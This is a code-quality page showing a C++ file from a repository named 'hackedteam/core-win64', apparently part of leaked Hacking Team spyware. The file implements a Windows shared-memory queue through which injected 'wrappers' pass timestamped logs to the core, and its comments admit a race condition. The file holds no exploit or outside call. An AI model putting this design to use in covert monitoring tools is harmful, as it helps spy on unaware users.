hackedteam/core-win64

View on GitHub
src/IPC.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include "Common.h"
#include "IPC.h"

// Ritorna l'indirizzo di memoria della configurazione di un dato wrapper
// Torna NULL se fallisce
BYTE * __stdcall IPCClientRead(DWORD wrapper_tag, IPCClientRead_data_struct *pData)
{
    if (!pData->mem_addr) 
        return NULL;
    
    return (pData->mem_addr + wrapper_tag);
}

void IPCClientRead_setup(IPCClientRead_data_struct *data)
{
    HANDLE h_file = OpenFileMapping(FILE_MAP_READ, FALSE, SHARE_MEMORY_READ_NAME);
    data->mem_addr = 0;

    // Se non riesce ad aprire l'oggetto setta mem_addr a NULL e la funzione ritornera' sempre NULL
    // Chi la richiama dovra' controllare che il valore di ritorno sia diverso da NULL prima di leggere
    // dalla memoria
    if (h_file)
        data->mem_addr = (BYTE *)MapViewOfFile(h_file, FILE_MAP_READ, 0, 0, SHARE_MEMORY_READ_SIZE);
}

// Torna TRUE se ha scritto, FALSE se fallisce
BOOL __stdcall IPCClientWrite(DWORD wrapper_tag, IPCClientWrite_data_struct *pData, BYTE *message, DWORD msg_len, DWORD flags, DWORD priority)
{
    unsigned int i, j;
    message_struct *pMessage;
    FILETIME time_stamp;

    // Fallisce se la memoria non e' presente o se il messaggio e' troppo grosso
    // per essere scritto
    if (!pData->mem_addr || msg_len > MAX_MSG_LEN || !message) 
        return FALSE;
    
    // La prima volta cerca una posizione libera.
    // Se non la trova, cerca una posizione occupata da una
    // priorita' minore
    for (j=0; j<2; j++) {
        for (i=0, pMessage=pData->mem_addr; i<MAX_MSG_NUM; i++, pMessage++) {
            if (pMessage->status == STATUS_FREE || (j && pMessage->status == STATUS_WRIT && pMessage->priority < priority)) {
                // XXX Possibilita' di remota race condition sulla lettura dello status
                pMessage->status = STATUS_BUSY;
                pMessage->message_len = msg_len;
                pMessage->priority = priority;
                pMessage->wrapper_tag = wrapper_tag;
                pMessage->flags = flags;

                // Setta il time stamp
                if (pData->pGetSystemTimeAsFileTime) {
                    pData->pGetSystemTimeAsFileTime(&time_stamp);

                    // Gestisce il caso di due log dello stesso tipo con timestamp uguali
                    if (time_stamp.dwLowDateTime != pData->old_low_part ||
                        time_stamp.dwHighDateTime != pData->old_hi_part) {
                        pData->old_low_part = time_stamp.dwLowDateTime;
                        pData->old_hi_part = time_stamp.dwHighDateTime;
                        pData->increment = 0;
                        pMessage->time_stamp.dwHighDateTime = time_stamp.dwHighDateTime;
                        pMessage->time_stamp.dwLowDateTime = time_stamp.dwLowDateTime;
                    } else {
                        pData->increment++;
                        pMessage->time_stamp.dwHighDateTime = time_stamp.dwHighDateTime;
                        pMessage->time_stamp.dwLowDateTime = time_stamp.dwLowDateTime + pData->increment;
                        // se c'e' riporto
                        if (pMessage->time_stamp.dwLowDateTime < time_stamp.dwLowDateTime)
                            pMessage->time_stamp.dwHighDateTime++;
                    }


                } else {
                    pMessage->time_stamp.dwHighDateTime = 0;
                    pMessage->time_stamp.dwLowDateTime = 0;
                }

                __try {
                    MMCPY(pMessage->message, message, msg_len);
                } __except(EXCEPTION_EXECUTE_HANDLER) {
                    pMessage->status = STATUS_FREE;
                }

                if (pMessage->status == STATUS_BUSY)
                    pMessage->status = STATUS_WRIT;
                return TRUE;
            }
        }
    }

    // Se arriva qui, la coda e' DAVVERO piena e il messaggio viene droppato
    return FALSE;
}

void IPCClientWrite_setup(IPCClientWrite_data_struct *data)
{
    HMODULE h_krn;
    HANDLE h_file;

    h_krn = GetModuleHandle("kernel32.dll");
    data->pGetSystemTimeAsFileTime = (GetSystemTimeAsFileTime_t)GetProcAddress(h_krn, "GetSystemTimeAsFileTime");

    h_file = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, SHARE_MEMORY_WRITE_NAME);
    data->mem_addr = NULL;
    data->old_low_part = 0;
    data->old_hi_part = 0;
    data->increment = 0;

    // Se non riesce ad aprire l'oggetto setta mem_addr a NULL e la funzione ritornera' sempre NULL
    // Chi la richiama dovra' controllare che il valore di ritorno sia diverso da NULL prima di leggere
    // dalla memoria
    if (h_file)
        data->mem_addr = (message_struct *)MapViewOfFile(h_file, FILE_MAP_ALL_ACCESS, 0, 0, SHARE_MEMORY_WRITE_SIZE);
}